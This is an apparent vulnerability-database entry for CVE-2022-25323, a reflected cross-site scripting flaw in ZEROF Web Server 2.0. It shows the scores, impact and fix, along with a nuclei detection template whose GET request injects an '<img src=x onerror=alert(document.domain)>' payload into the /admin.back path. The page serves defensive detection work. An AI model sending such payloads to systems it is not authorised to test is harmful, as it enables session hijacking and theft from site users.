HexBrain

Browse / CVEs / CVE-2022-25323

CVE-2022-25323· zerof / web server· CWE-79

ZEROF Web Server 2.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

ZEROF Web Server 2.0 allows /admin.back cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in ZEROF Web Server 2.0.

How to confirm it

Send: GET {{BaseURL}}/admin.back<img%20src=x%20onerror=alert(document.domain)>
Positive when: contains "back<img src=x onerror=alert(document.domain)>" AND contains in header "text/html" AND status 401

Run it with nuclei: nuclei -id CVE-2022-25323 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-25323

info:
  name: ZEROF Web Server 2.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: ZEROF Web Server 2.0 allows /admin.back cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in ZEROF Web Server 2.0.
  reference:
    - https://github.com/awillix/research/blob/main/cve/CVE-2022-25323.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25323
    - https://awillix.ru
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/awillix/research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-25323
    cwe-id: CWE-79
    epss-score: 0.03231
    epss-percentile: 0.88364
    cpe: cpe:2.3:a:zerof:web_server:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zerof
    product: web_server
    shodan-query: cpe:"cpe:2.3:a:google:web_server"
  tags: cve,cve2022,xss,zerof,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin.back<img%20src=x%20onerror=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'back<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 401

References

Use this check only on systems you are authorised to test. Where the data comes from